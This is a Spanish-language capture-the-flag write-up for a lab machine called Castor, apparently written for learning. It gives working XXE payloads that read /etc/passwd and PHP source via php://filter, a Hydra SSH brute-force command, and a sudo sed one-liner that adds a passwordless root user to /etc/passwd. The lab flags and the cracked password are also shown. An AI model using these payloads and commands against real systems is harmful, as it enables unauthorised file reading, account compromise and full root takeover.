Castor
XXE Injection en endpoint PHP para lectura de ficheros, brute force SSH y escalada de privilegios mediante sed SUID.
Write-Up — Castor
Índice
- Reconocimiento
- Enumeración web
- Explotación — XXE Injection
- Foothold — SSH
- Escalada de privilegios — sed SUID
- Flags
- Lecciones aprendidas
Reconocimiento
Comenzamos con un escaneo completo de puertos:
nmap -sV -sC -T4 -p- --open -oN nmap_full.txt 192.168.56.103
Resultado:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: CastorTech | Madera Sostenible
Solo dos puertos. El vector principal será el servidor web en el puerto 80.
Enumeración web
Visitamos la web — una página estática de una empresa ficticia de madera. Fuzzeamos directorios:
gobuster dir -u http://192.168.56.103 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt -t 40
Hallazgos relevantes:
/upload.php (Status: 200)
/uploads/ (Status: 301)
Al visitar upload.php con GET obtenemos: xml not provided.
La aplicación espera XML vía POST.
Explotación — XXE Injection
Confirmación de XXE
Enviamos un XML básico para confirmar que el servidor lo procesa:
curl -s -X POST http://192.168.56.103/upload.php \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hola</test></root>'
El servidor devuelve el XML tal cual — lo parsea y refleja. Probamos XXE clásico:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><test>&xxe;</test></root>
¡XXE confirmado! El servidor devuelve el contenido de /etc/passwd, revelando el usuario castorcin con shell /bin/bash.
Extracción del código fuente
Ficheros HTML y PHP contienen caracteres que rompen el parser XML (<, >, &). Para leer código PHP usamos el wrapper php://filter con codificación base64:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/upload.php">]>
<root><test>&xxe;</test></root>
Decodificamos el base64 y obtenemos el fuente de upload.php:
<?php
$dom = new DOMDocument();
$loaded = $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
Clave: Los flags LIBXML_NOENT y LIBXML_DTDLOAD son exactamente lo que hace vulnerable la aplicación a XXE.
Foothold — SSH
Sin credenciales en ficheros de configuración ni acceso a /etc/shadow, optamos por brute force SSH:
gunzip -c /usr/share/wordlists/rockyou.txt.gz | head -5000 > /tmp/rockyou5k.txt
hydra -l castorcin -P /tmp/rockyou5k.txt ssh://192.168.56.103 -t 4
Resultado en el intento número 27:
[22][ssh] host: 192.168.56.103 login: castorcin password: chocolate
ssh castorcin@192.168.56.103
castorcin@TheHackersLabs-Castor:~$ cat user.txt
THL{JDBNASJNAdnnasdkasdaCastorcito}
Escalada de privilegios
sudo -l
User castorcin may run the following commands on TheHackersLabs-Castor:
(ALL : ALL) NOPASSWD: /usr/bin/sed
castorcin puede ejecutar sed como root sin contraseña. Según GTFOBins, sed permite escritura arbitraria de ficheros.
sudo sed -i '$a hacker::0:0:root:/root:/bin/bash' /etc/passwd
su hacker
root@TheHackersLabs-Castor:/home/castorcin# cat /root/root.txt
THL{asdmaskdmasdkCASTOR}
Flags
| Flag | Valor |
|---|---|
| User | THL{JDBNASJNAdnnasdkasdaCastorcito} |
| Root | THL{asdmaskdmasdkCASTOR} |
Lecciones aprendidas
XXE — php://filter
Cuando DOMDocument::loadXML() se usa con LIBXML_NOENT, el XXE es explotable. Para leer ficheros PHP, el wrapper php://filter/convert.base64-encode permite extraer el contenido en base64 — pero solo funciona en la entidad principal, no en DTDs externos.
GTFOBins — sed
sed con permisos sudo permite leer y escribir ficheros del sistema. Siempre consultar GTFOBins al encontrar binarios con sudo -l.
Metodología
- Recon → solo 2 puertos, foco en web
- Fuzzing → endpoint XML
- XXE → lectura de ficheros + usuario
- Brute force SSH → contraseña débil
sudo -l→ privesc inmediata con sed